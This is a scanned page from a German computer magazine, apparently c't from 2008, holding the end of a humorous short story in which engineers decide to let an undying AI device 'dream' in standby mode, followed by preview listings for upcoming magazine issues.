„Was sollen wir denn jetzt tun?“ 

Ringwood schüttelte nur stumm den Kopf. 

„Können Sie Sammy dümmer machen, 
nicht mehr so komplex?“ 

Der Blick aus den stechenden Augen ließ 
Lester ganz schnell eine andere Frage stellen. 
„Ähm, wie war denn das Jenseits?“ 

Ringwood lächelte schief. „Für jemanden, 
der noch lebt, furchtbar deprimierend. Ein 
Sandkörnchen unter Billionen anderer Sand- 
körnchen zu sein ist doch ein herber Schlag 
für das Selbstbewusstsein.” 

„Denken Sie, es gibt eine Lösung für unser 
Problem?” 

„Nicht ausschalten läuft auf einen Stand- 
by-Modus hinaus. Aber bei diesen Energie- 
spar-Diskussionen heute? Fernseher ohne 
echten Ein-Aus-Schalter verkaufen sich defi- 
nitiv schlechter als welche mit Schalter. In 
allen Verbrauchermagazinen wird gesagt, 
wie viel Geld man verschwendet, wenn man 
Geräte auf Standby laufen lässt. Wir werden 
überflüssigen Energieverbrauch nicht erklä- 
ren können. Dem Vorstand nicht, den Käu- 
fern nicht. Nutzlos Energie verschwenden ist 
out.” 


„Und was ist, wenn er durchgehend läuft? 
Wenn er etwas zu tun hat in Zeiten, in denen 
seine Besitzer nichts von ihm verlangen?” 

„Was denn? Die Zahl Pi auf eine Milliarde 
Stellen ausrechnen? Das machen Sie mal den 
Käufern klar.” 

„Nein, natürlich müsste es schon etwas 
Sinnvolles sein. Zum Beispiel - Nachrichten 
der Welt analysieren und den Leuten dann 
am Morgen ihre persönliche Zeitung oder 
Fernsehsendung zusammenstellen.“ 

„Und wenn welche daran nicht interes- 
siert sind? Außerdem gibt es dafür heut- 
zutage schon andere Programme. Wir be- 
kommen eine dauernde Aktivität oder 
einen Standby-Betrieb nicht in der Marke- 
tingabteilung durchgesetzt. Die erwürgen 
uns.” 

Ein kalter Hauch schien über Lesters Na- 
cken zu streichen und er bekam eine Gänse- 
haut. Wenn sie keine Lösung fanden, würde 
jemand ganz anderes sie erwürgen. „Viel- 
leicht gehen wir die Sache von der falschen 
Seite an.” 

„Ach ja? Ich bin ganz Ohr, erzählen Sie 
ruhig, Connally.“ 

„Wir starten mit der Seele.“ 

„Wie wunderbar.“ 

Lester ignorierte Ringwoods sarkastischen 
Unterton. 

„Wir haben eine Seele, die nicht sterben 
soll, aber dauernd mit Hochleistung zu lau- 
fen, bekommen wir bei der Marketingabtei- 
lung nicht durch und Standby-Modus -“ 

Er stockte, sein Gehirn schien für einen 
Moment wie leergefegt. „Was ist denn Stand- 
by-Modus bei einem Menschen?“ 


Ringwood runzelte die Stirn. „Nun, schla- 
fen würde ich sagen. Minimaler Energie- 
verbrauch, kaum Aufnahme von Außen- 
reizen.” 

Die Erkenntnis riss Lester von seinem 
Stuhl: „Träumen! Menschen träumen im 
Standby-Modus!“ 

„Sammy soll träumen? Wie soll denn das 
funktionieren?” 

„Träume sind, vereinfacht gesagt, die Ver- 
arbeitung des Tagesgeschehens. Erst gestern 
oder lang vorbei, ist egal. Wenn man Men- 
schen vom Träumen abhält, werden sie psy- 
chisch krank.“ 

Ringwood saß noch einige Sekunden zu- 
sammengesunken auf seinem Stuhl, dann 
richtete er sich langsam auf. „Freie Verarbei- 
tung. Keine festgelegte Abfrage mit Ziel, son- 
dern freie Verarbeitung nach dem Zufalls- 
prinzip. Für geistige Gesundheit und Ent- 
wicklung. Das klingt - da kann ich schon fast 
den Werbespot hören. Was für eine Marke- 
tingaussage. - Hm, da fehlt noch ein griffiger 
Name. Connally, überlegen Sie mal mit!“ 

„Irgendwie erinnert mich das an ... wie 
wärs mit Brainsaver?“, fragte Lester zögernd. 

Nur kurz schaute ihn Ringwood verdutzt 
an, dann rannte er aus dem Raum, und Les- 
ter hörte seine Ausrufe „Das ist es ... das ist 
es..." leiser werden. 

Hinter Sammy meinte Lester für einen Mo- 
ment die schwarze Gestalt zu sehen, die zu- 
stimmend nickte und mit dem Knochendau- 
men nach oben zeigte. Doch Ringwood 
hatte auf dem Weg zur Patentabteilung 
schon vergessen, wer sie darauf gebracht 
hatte. dt 
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Vorschau 


In der nächsten  ; 


Heft 3/2008 erscheint am 21. Januar 2008 


Ihr Medienserver im Web 


Der portable AV-Player ist üppig befüllt, aber 
genau die Videos oder Songs, auf die man 
gerade Appetit hat, sind nicht dabei. Kein 
Problem in Zeiten des Web 2.0: Die private 
Mediensammlung lässt sich bei spezialisier- 
ten Online-Speicherdiensten unterbringen, 
sodass man weltweit Zugriff darauf hat. 
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ctmagazin.de 


Starke 3D-Grafikkarten 


Richtig viel 3D-Leistung zum attraktiven 
Preis - das versprechen die neuen Grafik- 
chips von AMD und Nvidia. c't stellt Karten 
mit Radeon HD 3850/70 und GeForce 8800 
GT für 200 bis 250 Euro auf den Prüfstand. 


DVD-Brenner 


Mit Preisen von unter 40 Euro gehören DVD- 
Brenner inzwischen zu den Mitnahmearti- 
keln. Doch der Sicherheit seiner Daten zulie- 
be sollte man sein neues Laufwerk mit Be- 
dacht wählen. Im Test richten wir unser Au- 
genmerk daher auf die Brennqualität. 


Überleben mit Vista 


Nase voll von Windows Vista, also zurück zu 
XP? Das ist - etwa bei etlichen Notebooks 
durch fehlende Treiber - nicht so einfach, und 
im Grunde möchte man ja Vistas integrierte Si- 
cherheitsfeatures auch nicht missen. c't liefert 
das Überlebenstraining für die Arbeit mit Vista. 


Full-HD-Beamer 


Selbst auf LCD-TVs mit großer 
Diagonale lassen sich die Auflö- 
sungen 1080p und 720p nicht 
auf Anhieb unterscheiden. Doch 
bei Diagonalen jenseits der zwei 
Meter kommt mit Full-HD-Auflö- 
sung richtig Freude auf. Spätes- 
tens im abgedunkelten Raum lie- 
fern die aktuellen 1080p-Beamer 
großes Kino. 


() heise Ständiger Service auf heise online - www.heise.de 
0 online 


Software-Verzeichnis: Unter www.heise.de/ 
software finden Sie über 20 000 Freeware-, 
Shareware- und Open-Source-Programme 
sowie Demos für Windows, Linux, Mac OS 
und PDAs zum Download. Mit Screenshots, 
Kurzbeschreibung und Leserwertung. 


Handy-Galerie: Solls nur ein Basisgerät sein 
oder sind Kamera und MP3-Player willkom- 
men? Schnell ins Internet per UMTS oder 
lieber per GPRS mit EDGE? Unter www. 
heise-mobil.de/handygalerie finden Sie das 
Handy, das zu Ihnen passt. 


c't-Schlagseite: Auch den Cartoon gibt es 
online - www.heise.de/ct/schlagseite 
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Das bringen 


Technology 
Review 


So wird 2018: Wie sieht die Zukunft 
aus, wenn man heutige Trends über 
die nächsten zehn Jahre fortschreibt? 


Neue Serie: Die Zukunft der Antriebe 


Interview: BSI-Präsident Helmbrecht 
über Bürgerhilfe und Bundestrojaner 


Heft 1/2007 jetzt am Kiosk 


G 
MAGAZIN FÜR PROFESSIONELLE 
DD INFORMATIONSTECHNIK 


Mensch-Maschine-Interface: Rechner 
per Gehirn, Sprache, Gesten steuern 


IT-Sicherheit: Unified Threat Management 


Mobiles Web: Entwickeln für Apples 
iPhone 


E-Mail ohne Spam: Blacklist-Vergleich, 
Adressen schützen 
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TELERBEIS 


MAGAZIN DER NETZKULTUR 


Rüdiger Suchsland: „| am Legend” - Die 
dritte Verfilmung des SF-Horrorklassikers 


Klaus Schmeh: Wettrennen der 
Codeknacker - seit einigen Jahrzehnten 
gibt es Krypto-Wettbewerbe. 


www.heise.de/tp 
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